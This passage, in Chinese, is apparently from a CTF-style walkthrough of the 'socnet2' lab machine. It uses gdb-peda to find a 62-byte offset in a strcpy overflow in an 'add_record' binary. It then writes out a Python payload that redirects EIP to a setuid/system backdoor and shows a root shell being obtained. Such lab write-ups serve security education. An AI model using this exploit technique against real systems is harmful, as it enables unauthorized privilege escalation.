ESI: 0xf7fc2000 --> 0x1d4d6c 
EDI: 0xffffdcd0 ("AxAAyA")
EBP: 0x41324141 ('AA2A')
ESP: 0xffffdc50 ("dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41414841 ('AHAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414841
[------------------------------------stack-------------------------------------]
0000| 0xffffdc50 ("dAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffdc54 ("AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffdc58 ("AeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffdc5c ("4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffdc60 ("AAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffdc64 ("A5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffdc68 ("KAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffdc6c ("AA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414841 in ?? ()
  • 可以发现 EIP 寄存器内容变成了:AHAA。

  • 使用命令查看一下偏移量(在实际的开发程序中,这个偏移量是非常大的!几百行甚至上万的数据让你肉眼是无法快速识别的!):

gdb-peda$ pattern search
pattern search
Registers contain pattern buffer:
EBX+0 found at offset: 54
EBP+0 found at offset: 58
EIP+0 found at offset: 62
Registers point to pattern buffer:
[EAX] --> offset 0 - size ~200
[ECX] --> offset 196 - size ~4
[EDX] --> offset 196 - size ~4
[ESP] --> offset 66 - size ~134
[EDI] --> offset 194 - size ~6
Pattern buffer found at:
0x0804a6d0 : offset    0 - size  200 ([heap])
0xffffdc0e : offset    0 - size  200 ($sp + -0x42 [-17 dwords])
0xffffdcd7 : offset  107 - size   93 ($sp + 0x87 [33 dwords])
References to pattern buffer found at:
0xf7fc25cc : 0x0804a6d0 (/lib32/libc-2.27.so)
0xf7fc25d0 : 0x0804a6d0 (/lib32/libc-2.27.so)
0xf7fc25d4 : 0x0804a6d0 (/lib32/libc-2.27.so)
0xf7fc25d8 : 0x0804a6d0 (/lib32/libc-2.27.so)
0xf7fc25dc : 0x0804a6d0 (/lib32/libc-2.27.so)
0xffffd558 : 0x0804a6d0 ($sp + -0x6f8 [-446 dwords])
0xffffdbd8 : 0xffffdc0e ($sp + -0x78 [-30 dwords])
0xffffdbf0 : 0xffffdc0e ($sp + -0x60 [-24 dwords])
  • 可以看出 EIP 偏移量是:62,说明从 63 开始进入到 EIP 寄存器中。

  • 测试一下,使用 Pyhton 进行固定字符串打印:

┌──(root㉿kali)-[~]
└─# python3 -c "print('A'*62 + 'BCDE')"           
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE
  • 再次进行溢出:

gdb-peda$ r                                                                 
r
Starting program: /home/socnet/add_record 
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
Employee Name(char): yongz
yongz
Years worked(int): 1
1
Salary(int): 1
1
Ever got in trouble? 1 (yes) or 0 (no): 1
1
Explain: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffdc0e ('A' <repeats 62 times>, "BCDE")
EBX: 0x41414141 ('AAAA')
ECX: 0xffffdca0 ("AAAAAAAAAABCDE")
EDX: 0xffffdc42 ("AAAAAAAAAABCDE")
ESI: 0xf7fc2000 --> 0x1d4d6c 
EDI: 0xffffdcd0 --> 0x1 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffdc50 --> 0xffffdc00 --> 0xf7fc25c0 --> 0xfbad2288 
EIP: 0x45444342 ('BCDE')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x45444342
[------------------------------------stack-------------------------------------]
0000| 0xffffdc50 --> 0xffffdc00 --> 0xf7fc25c0 --> 0xfbad2288 
0004| 0xffffdc54 --> 0xffffdcd0 --> 0x1 
0008| 0xffffdc58 --> 0xffffdd18 --> 0x0 
0012| 0xffffdc5c --> 0x80487ef (<main+279>:     mov    DWORD PTR [ebp-0x20],eax)
0016| 0xffffdc60 --> 0x0 
0020| 0xffffdc64 --> 0x0 
0024| 0xffffdc68 --> 0xc2 
0028| 0xffffdc6c ('A' <repeats 62 times>, "BCDE")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x45444342 in ?? ()
  • 可以看出,EIP 的内容已经变成了 BCDE,上述判断没问题。

  • 不过这里需要说明的是:

EIP: 0x45444342 ('BCDE') 中 45444342 的意思是 EDCB,只不过在内存中的 16 进制表示是反过来看(CPU架构‘大头,小头的概念)。
  • 利用汇编代码写入 EIP 寄存器里从而取代 BCDE,从而执行 shell 命令的内存地址。

  • 接下来,我们要对这个 EIP 寄存器的溢出漏洞进一步的挖掘!

  • 首先查看这个程序入口发向 CPU 的汇编代码情况(记得退出重进,因为溢出会导致额外的函数):

gdb-peda$ disas main
disas main
Dump of assembler code for function main:
   0x080486d8 <+0>:     lea    ecx,[esp+0x4]
   0x080486dc <+4>:     and    esp,0xfffffff0
   0x080486df <+7>:     push   DWORD PTR [ecx-0x4]
   0x080486e2 <+10>:    push   ebp
   0x080486e3 <+11>:    mov    ebp,esp
   0x080486e5 <+13>:    push   edi
   0x080486e6 <+14>:    push   esi
   0x080486e7 <+15>:    push   ebx
   0x080486e8 <+16>:    push   ecx
   0x080486e9 <+17>:    sub    esp,0xa8
   0x080486ef <+23>:    call   0x80485b0 <__x86.get_pc_thunk.bx>
   0x080486f4 <+28>:    add    ebx,0x1654
   0x080486fa <+34>:    mov    DWORD PTR [ebp-0xac],0x414e
   0x08048704 <+44>:    lea    edx,[ebp-0xa8]
   0x0804870a <+50>:    mov    eax,0x0
   0x0804870f <+55>:    mov    ecx,0x18
   0x08048714 <+60>:    mov    edi,edx
   0x08048716 <+62>:    rep stos DWORD PTR es:[edi],eax
   0x08048718 <+64>:    sub    esp,0x8
   0x0804871b <+67>:    lea    eax,[ebx-0x13ee]
   0x08048721 <+73>:    push   eax
   0x08048722 <+74>:    lea    eax,[ebx-0x13ec]
   0x08048728 <+80>:    push   eax
   0x08048729 <+81>:    call   0x8048520 <fopen@plt>
   0x0804872e <+86>:    add    esp,0x10
   0x08048731 <+89>:    mov    DWORD PTR [ebp-0x1c],eax
   0x08048734 <+92>:    sub    esp,0xc
   0x08048737 <+95>:    lea    eax,[ebx-0x13d4]
   0x0804873d <+101>:   push   eax
   0x0804873e <+102>:   call   0x80484e0 <puts@plt>
   0x08048743 <+107>:   add    esp,0x10
   0x08048746 <+110>:   sub    esp,0xc
   0x08048749 <+113>:   lea    eax,[ebx-0x137c]
   0x0804874f <+119>:   push   eax
   0x08048750 <+120>:   call   0x8048480 <printf@plt>
   0x08048755 <+125>:   add    esp,0x10
   0x08048758 <+128>:   mov    eax,DWORD PTR [ebx-0x4]
   0x0804875e <+134>:   mov    eax,DWORD PTR [eax]
   0x08048760 <+136>:   sub    esp,0x4
   0x08048763 <+139>:   push   eax
   0x08048764 <+140>:   push   0x19
   0x08048766 <+142>:   lea    eax,[ebp-0x39]
   0x08048769 <+145>:   push   eax
   0x0804876a <+146>:   call   0x80484b0 <fgets@plt>
   0x0804876f <+151>:   add    esp,0x10
   0x08048772 <+154>:   sub    esp,0xc
   0x08048775 <+157>:   lea    eax,[ebx-0x1366]
   0x0804877b <+163>:   push   eax
   0x0804877c <+164>:   call   0x8048480 <printf@plt>
   0x08048781 <+169>:   add    esp,0x10
   0x08048784 <+172>:   sub    esp,0x8
   0x08048787 <+175>:   lea    eax,[ebp-0x40]
   0x0804878a <+178>:   push   eax
   0x0804878b <+179>:   lea    eax,[ebx-0x1352]
   0x08048791 <+185>:   push   eax
   0x08048792 <+186>:   call   0x8048540 <__isoc99_scanf@plt>
   0x08048797 <+191>:   add    esp,0x10
   0x0804879a <+194>:   sub    esp,0xc
   0x0804879d <+197>:   lea    eax,[ebx-0x134f]
   0x080487a3 <+203>:   push   eax
   0x080487a4 <+204>:   call   0x8048480 <printf@plt>
   0x080487a9 <+209>:   add    esp,0x10
   0x080487ac <+212>:   sub    esp,0x8
   0x080487af <+215>:   lea    eax,[ebp-0x44]
   0x080487b2 <+218>:   push   eax
   0x080487b3 <+219>:   lea    eax,[ebx-0x1352]
   0x080487b9 <+225>:   push   eax
   0x080487ba <+226>:   call   0x8048540 <__isoc99_scanf@plt>
   0x080487bf <+231>:   add    esp,0x10
   0x080487c2 <+234>:   sub    esp,0xc
   0x080487c5 <+237>:   lea    eax,[ebx-0x1340]
   0x080487cb <+243>:   push   eax
   0x080487cc <+244>:   call   0x8048480 <printf@plt>
   0x080487d1 <+249>:   add    esp,0x10
   0x080487d4 <+252>:   sub    esp,0x8
   0x080487d7 <+255>:   lea    eax,[ebp-0x48]
   0x080487da <+258>:   push   eax
   0x080487db <+259>:   lea    eax,[ebx-0x1352]
   0x080487e1 <+265>:   push   eax
   0x080487e2 <+266>:   call   0x8048540 <__isoc99_scanf@plt>
   0x080487e7 <+271>:   add    esp,0x10
   0x080487ea <+274>:   call   0x80484a0 <getchar@plt>
   0x080487ef <+279>:   mov    DWORD PTR [ebp-0x20],eax
   0x080487f2 <+282>:   cmp    DWORD PTR [ebp-0x20],0xa
   0x080487f6 <+286>:   je     0x80487fe <main+294>
   0x080487f8 <+288>:   cmp    DWORD PTR [ebp-0x20],0xffffffff
   0x080487fc <+292>:   jne    0x80487ea <main+274>
   0x080487fe <+294>:   mov    eax,DWORD PTR [ebp-0x48]
   0x08048801 <+297>:   cmp    eax,0x1
   0x08048804 <+300>:   jne    0x804883c <main+356>
   0x08048806 <+302>:   sub    esp,0xc
   0x08048809 <+305>:   lea    eax,[ebx-0x1317]
   0x0804880f <+311>:   push   eax
   0x08048810 <+312>:   call   0x8048480 <printf@plt>
   0x08048815 <+317>:   add    esp,0x10
   0x08048818 <+320>:   sub    esp,0xc
   0x0804881b <+323>:   lea    eax,[ebp-0xac]
   0x08048821 <+329>:   push   eax
   0x08048822 <+330>:   call   0x8048490 <gets@plt>
   0x08048827 <+335>:   add    esp,0x10
   0x0804882a <+338>:   sub    esp,0xc
   0x0804882d <+341>:   lea    eax,[ebp-0xac]
   0x08048833 <+347>:   push   eax
   0x08048834 <+348>:   call   0x80486ad <vuln>
   0x08048839 <+353>:   add    esp,0x10
   0x0804883c <+356>:   sub    esp,0xc
   0x0804883f <+359>:   lea    eax,[ebx-0x130d]
   0x08048845 <+365>:   push   eax
   0x08048846 <+366>:   call   0x80484e0 <puts@plt>
   0x0804884b <+371>:   add    esp,0x10
   0x0804884e <+374>:   mov    ecx,DWORD PTR [ebp-0x48]
   0x08048851 <+377>:   mov    edx,DWORD PTR [ebp-0x44]
   0x08048854 <+380>:   mov    eax,DWORD PTR [ebp-0x40]
   0x08048857 <+383>:   sub    esp,0x8
   0x0804885a <+386>:   lea    esi,[ebp-0xac]
   0x08048860 <+392>:   push   esi
   0x08048861 <+393>:   push   ecx
   0x08048862 <+394>:   push   edx
   0x08048863 <+395>:   push   eax
   0x08048864 <+396>:   lea    eax,[ebp-0x39]
   0x08048867 <+399>:   push   eax
   0x08048868 <+400>:   lea    eax,[ebx-0x12ec]
   0x0804886e <+406>:   push   eax
   0x0804886f <+407>:   call   0x8048480 <printf@plt>
   0x08048874 <+412>:   add    esp,0x20
   0x08048877 <+415>:   mov    ecx,DWORD PTR [ebp-0x48]
   0x0804887a <+418>:   mov    edx,DWORD PTR [ebp-0x44]
   0x0804887d <+421>:   mov    eax,DWORD PTR [ebp-0x40]
   0x08048880 <+424>:   sub    esp,0x4
   0x08048883 <+427>:   lea    esi,[ebp-0xac]
   0x08048889 <+433>:   push   esi
   0x0804888a <+434>:   push   ecx
   0x0804888b <+435>:   push   edx
   0x0804888c <+436>:   push   eax
   0x0804888d <+437>:   lea    eax,[ebp-0x39]
   0x08048890 <+440>:   push   eax
   0x08048891 <+441>:   lea    eax,[ebx-0x12ec]
   0x08048897 <+447>:   push   eax
   0x08048898 <+448>:   push   DWORD PTR [ebp-0x1c]
   0x0804889b <+451>:   call   0x8048510 <fprintf@plt>
   0x080488a0 <+456>:   add    esp,0x20
   0x080488a3 <+459>:   sub    esp,0xc
   0x080488a6 <+462>:   push   DWORD PTR [ebp-0x1c]
   0x080488a9 <+465>:   call   0x80484c0 <fclose@plt>
   0x080488ae <+470>:   add    esp,0x10
   0x080488b1 <+473>:   mov    eax,0x0
   0x080488b6 <+478>:   lea    esp,[ebp-0x10]
   0x080488b9 <+481>:   pop    ecx
   0x080488ba <+482>:   pop    ebx
   0x080488bb <+483>:   pop    esi
   0x080488bc <+484>:   pop    edi
   0x080488bd <+485>:   pop    ebp
   0x080488be <+486>:   lea    esp,[ecx-0x4]
   0x080488c1 <+489>:   ret    
End of assembler dump.
  • 这里就需要了解一下汇编指令了,有点多,重点关注 call(可以理解为函数调用),将说有 call 的筛选出来:

   0x08048729 <+81>:    call   0x8048520 <fopen@plt>

   0x0804873e <+102>:   call   0x80484e0 <puts@plt>

   0x08048750 <+120>:   call   0x8048480 <printf@plt>

   0x0804876a <+146>:   call   0x80484b0 <fgets@plt>

   0x0804877c <+164>:   call   0x8048480 <printf@plt>

   0x08048792 <+186>:   call   0x8048540 <__isoc99_scanf@plt>

   0x080487a4 <+204>:   call   0x8048480 <printf@plt>

   0x080487ba <+226>:   call   0x8048540 <__isoc99_scanf@plt>

   0x080487cc <+244>:   call   0x8048480 <printf@plt>

   0x080487e2 <+266>:   call   0x8048540 <__isoc99_scanf@plt>

   0x080487ea <+274>:   call   0x80484a0 <getchar@plt>

   0x08048810 <+312>:   call   0x8048480 <printf@plt>

   0x08048822 <+330>:   call   0x8048490 <gets@plt>

   0x08048834 <+348>:   call   0x80486ad <vuln>

   0x08048846 <+366>:   call   0x80484e0 <puts@plt>
  
   0x0804889b <+451>:   call   0x8048510 <fprintf@plt>

   0x080488a9 <+465>:   call   0x80484c0 <fclose@plt>
  • 其中 @plt 结尾的都是 C 语言的内建函数。

  • 发现一个 vuln 的自建函数,应该是作者给的提示,查看一下:

gdb-peda$ disas vuln
disas vuln
Dump of assembler code for function vuln:
   0x080486ad <+0>:     push   ebp
   0x080486ae <+1>:     mov    ebp,esp
   0x080486b0 <+3>:     push   ebx
   0x080486b1 <+4>:     sub    esp,0x44
   0x080486b4 <+7>:     call   0x80488c2 <__x86.get_pc_thunk.ax>
   0x080486b9 <+12>:    add    eax,0x168f
   0x080486be <+17>:    sub    esp,0x8
   0x080486c1 <+20>:    push   DWORD PTR [ebp+0x8]
   0x080486c4 <+23>:    lea    edx,[ebp-0x3a]
   0x080486c7 <+26>:    push   edx
   0x080486c8 <+27>:    mov    ebx,eax
   0x080486ca <+29>:    call   0x80484d0 <strcpy@plt>
   0x080486cf <+34>:    add    esp,0x10
   0x080486d2 <+37>:    nop
   0x080486d3 <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080486d6 <+41>:    leave  
   0x080486d7 <+42>:    ret    
End of assembler dump.
  • 比较短,出现两次 call,其中 strcpy@plt 经过百度出现过栈溢出漏洞,说明应该是这个了

  • 返回之前的 main 函数,fopen@plt 应该是打开文件,puts@plt 不知道是啥,可以在 puts@plt 之前下一个断点:

0x0804873d <+101>:   push   eax

gdb-peda$ b *0x0804873d
b *0x0804873d
Breakpoint 1 at 0x804873d
  • run 一下程序:

gdb-peda$ r
r
Starting program: /home/socnet/add_record 
[----------------------------------registers-----------------------------------]
EAX: 0x8048974 ("Welcome to Add Record application\nUse it to add info about Social Network 2.0 Employees")
EBX: 0x8049d48 --> 0x8049c58 --> 0x1 
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7fc2000 --> 0x1d4d6c 
EDI: 0xffffdcd0 --> 0x8 
EBP: 0xffffdd18 --> 0x0 
ESP: 0xffffdc54 --> 0x804895a --> 0x6d650061 ('a')
EIP: 0x804873d (<main+101>:     push   eax)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048731 <main+89>: mov    DWORD PTR [ebp-0x1c],eax
   0x8048734 <main+92>: sub    esp,0xc
   0x8048737 <main+95>: lea    eax,[ebx-0x13d4]
=> 0x804873d <main+101>:        push   eax
   0x804873e <main+102>:        call   0x80484e0 <puts@plt>
   0x8048743 <main+107>:        add    esp,0x10
   0x8048746 <main+110>:        sub    esp,0xc
   0x8048749 <main+113>:        lea    eax,[ebx-0x137c]
[------------------------------------stack-------------------------------------]
0000| 0xffffdc54 --> 0x804895a --> 0x6d650061 ('a')
0004| 0xffffdc58 --> 0x0 
0008| 0xffffdc5c --> 0x80486f4 (<main+28>:      add    ebx,0x1654)
0012| 0xffffdc60 --> 0x0 
0016| 0xffffdc64 --> 0x0 
0020| 0xffffdc68 --> 0xc2 
0024| 0xffffdc6c --> 0x414e ('NA')
0028| 0xffffdc70 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804873d in main ()
  • 单步调试:

gdb-peda$ s
s
[----------------------------------registers-----------------------------------]
EAX: 0x8048974 ("Welcome to Add Record application\nUse it to add info about Social Network 2.0 Employees")
EBX: 0x8049d48 --> 0x8049c58 --> 0x1 
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7fc2000 --> 0x1d4d6c 
EDI: 0xffffdcd0 --> 0x8 
EBP: 0xffffdd18 --> 0x0 
ESP: 0xffffdc50 --> 0x8048974 ("Welcome to Add Record application\nUse it to add info about Social Network 2.0 Employees")
EIP: 0x804873e (<main+102>:     call   0x80484e0 <puts@plt>)
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048734 <main+92>: sub    esp,0xc
   0x8048737 <main+95>: lea    eax,[ebx-0x13d4]
   0x804873d <main+101>:        push   eax
=> 0x804873e <main+102>:        call   0x80484e0 <puts@plt>
   0x8048743 <main+107>:        add    esp,0x10
   0x8048746 <main+110>:        sub    esp,0xc
   0x8048749 <main+113>:        lea    eax,[ebx-0x137c]
   0x804874f <main+119>:        push   eax
Guessed arguments:
arg[0]: 0x8048974 ("Welcome to Add Record application\nUse it to add info about Social Network 2.0 Employees")
[------------------------------------stack-------------------------------------]
0000| 0xffffdc50 --> 0x8048974 ("Welcome to Add Record application\nUse it to add info about Social Network 2.0 Employees")
0004| 0xffffdc54 --> 0x804895a --> 0x6d650061 ('a')
0008| 0xffffdc58 --> 0x0 
0012| 0xffffdc5c --> 0x80486f4 (<main+28>:      add    ebx,0x1654)
0016| 0xffffdc60 --> 0x0 
0020| 0xffffdc64 --> 0x0 
0024| 0xffffdc68 --> 0xc2 
0028| 0xffffdc6c --> 0x414e ('NA')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804873e in main ()
  • 发现出现了标语:Welcome to Add Record application\nUse it to add info about Social Network 2.0 Employees

  • 现在知道了 puts@plt 的作用是输出 banner,现在去看看 printf@plt 的作用,老样子,在 printf@plt 之前下个断点,删除第一个断点:

0x0804874f <+119>:   push   eax

gdb-peda$ b *0x0804874f
b *0x0804874f
Breakpoint 2 at 0x804874f
  • 单步调试:

gdb-peda$ s
s
[----------------------------------registers-----------------------------------]
EAX: 0x80489cc ("Employee Name(char): ")
EBX: 0x8049d48 --> 0x8049c58 --> 0x1 
ECX: 0x804a2c0 ("Use it to add info about Social Network 2.0 Employees\n")
EDX: 0xf7fc3890 --> 0x0 
ESI: 0xf7fc2000 --> 0x1d4d6c 
EDI: 0xffffdce0 --> 0x8 
EBP: 0xffffdd28 --> 0x0 
ESP: 0xffffdc60 --> 0x80489cc ("Employee Name(char): ")
EIP: 0x8048750 (<main+120>:     call   0x8048480 <printf@plt>)
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048746 <main+110>:        sub    esp,0xc
   0x8048749 <main+113>:        lea    eax,[ebx-0x137c]
   0x804874f <main+119>:        push   eax
=> 0x8048750 <main+120>:        call   0x8048480 <printf@plt>
   0x8048755 <main+125>:        add    esp,0x10
   0x8048758 <main+128>:        mov    eax,DWORD PTR [ebx-0x4]
   0x804875e <main+134>:        mov    eax,DWORD PTR [eax]
   0x8048760 <main+136>:        sub    esp,0x4
Guessed arguments:
arg[0]: 0x80489cc ("Employee Name(char): ")
[------------------------------------stack-------------------------------------]
0000| 0xffffdc60 --> 0x80489cc ("Employee Name(char): ")
0004| 0xffffdc64 --> 0x804895a --> 0x6d650061 ('a')
0008| 0xffffdc68 --> 0x0 
0012| 0xffffdc6c --> 0x80486f4 (<main+28>:      add    ebx,0x1654)
0016| 0xffffdc70 --> 0x0 
0020| 0xffffdc74 --> 0x0 
0024| 0xffffdc78 --> 0xc2 
0028| 0xffffdc7c --> 0x414e ('NA')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048750 in main ()
  • 出现 Employee Name(char): 的输入,说明 printf@plt 用于输入,那么既然有五个输入点,第五个输入点出现了溢出,那就说明第五个输入点在第五个 printf@plt 出现的位置。

  • 查看一下当前程序的所有定义函数,包含未定义函数:

gdb-peda$ info func
info func
All defined functions:

Non-debugging symbols:
0x08048444  _init
0x08048480  printf@plt
0x08048490  gets@plt
0x080484a0  getchar@plt
0x080484b0  fgets@plt
0x080484c0  fclose@plt
0x080484d0  strcpy@plt
0x080484e0  puts@plt
0x080484f0  system@plt
0x08048500  __libc_start_main@plt
0x08048510  fprintf@plt
0x08048520  fopen@plt
0x08048530  setuid@plt
0x08048540  __isoc99_scanf@plt
0x08048550  __gmon_start__@plt
0x08048560  _start
0x080485a0  _dl_relocate_static_pie
0x080485b0  __x86.get_pc_thunk.bx
0x080485c0  deregister_tm_clones
0x08048600  register_tm_clones
0x08048640  __do_global_dtors_aux
0x08048670  frame_dummy
0x08048676  backdoor
0x080486ad  vuln
0x080486d8  main
0x080488c2  __x86.get_pc_thunk.ax
0x080488d0  __libc_csu_init
0x08048930  __libc_csu_fini
0x08048934  _fini
  • 发现一个 backdoor 函数,后门应该是作者留下的提示,查看一下:

gdb-peda$ disas backdoor
disas backdoor
Dump of assembler code for function backdoor:
   0x08048676 <+0>:     push   ebp
   0x08048677 <+1>:     mov    ebp,esp
   0x08048679 <+3>:     push   ebx
   0x0804867a <+4>:     sub    esp,0x4
   0x0804867d <+7>:     call   0x80485b0 <__x86.get_pc_thunk.bx>
   0x08048682 <+12>:    add    ebx,0x16c6
   0x08048688 <+18>:    sub    esp,0xc
   0x0804868b <+21>:    push   0x0
   0x0804868d <+23>:    call   0x8048530 <setuid@plt>
   0x08048692 <+28>:    add    esp,0x10
   0x08048695 <+31>:    sub    esp,0xc
   0x08048698 <+34>:    lea    eax,[ebx-0x13f8]
   0x0804869e <+40>:    push   eax
   0x0804869f <+41>:    call   0x80484f0 <system@plt>
   0x080486a4 <+46>:    add    esp,0x10
   0x080486a7 <+49>:    nop
   0x080486a8 <+50>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080486ab <+53>:    leave  
   0x080486ac <+54>:    ret    
End of assembler dump.
  • 发现了 setuid@plt 和 system@plt,说明这个函数应该可以具有 suid 和执行系统命令的权限。

  • 分析到这里说明这个 add_record 程序是存在调用操作系统指令的功能!

  • 总结一下,现在的利用过程就是:

    • vuln 中的 scrpty@plt 存在缓冲区溢出漏洞;

    • 偏移量 62 位后到达 EIP 寄存器;

    • backdoor 存在 suid 和 system 可以执行系统命令;

    • 将 backdoor 地址放置到 EIP 寄存器中,即可达到执行系统命令的作用;

  • 利用过程如下:

## backdoor 开始地址如下
0x08048676 <+0>:     push   ebp

## 根据前面所说的地址表示方式,需要反过来,然后利用 Python 进行拼接。同时为了完整的进行程序入口拼接,需要将用户名,年限,薪资等数据按照换行来输入
python2 -c "import struct;print('yongz\n1\n100\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload

## 在 payload 导入 GDB 程序执行
gdb-peda$ r < payload
r < payload
Starting program: /home/socnet/add_record < payload
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
[New process 1518]
process 1518 is executing new program: /bin/dash
[New process 1519]
process 1519 is executing new program: /bin/bash
[Inferior 3 (process 1519) exited normally]
Warning: not running or target is remote
  • 在执行过程中提示的信息很明显,新增了几个进程,并分别执行了 /bin/bash/bin/dash

  • 接下来,就要利用 payload 这个漏洞代码来触发这个程序,返回 root 权限!

socnet@socnet2:~$ cat payload - | ./add_record
cat payload - | ./add_record
Welcome to Add Record application
Use it to add info about Social Network 2.0 Employees
id
id
uid=0(root) gid=1000(socnet) groups=1000(socnet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
  • 提权成功~

9 注意事项

  • 寄存器指令说明:

## EAX
累加器(Accumulator),用累加器进行的操作可能需要更少时间。累加器可用于乘、除、输入/输出等操作,它们的使用频率很高;

## EBX
基地址寄存器(Base Register)。它可作为存储器指针来使用; 

## ECX
计数寄存器(Count Register)。在循环和字符串操作时,要用它来控制循环次数;在位操作中,当移多位时,要用CL来指明移位的位数;

## EDX
数据寄存器(Data Register)。在进行乘、除运算时,它可作为默认的操作数参与运算,也可用于存放I/O的端口地址。

## ESI\EDI
变址寄存器(Index Register),它们主要用于存放存储单元在段内的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。

## ESP
栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。

## EBP
基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。

## EIP
EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。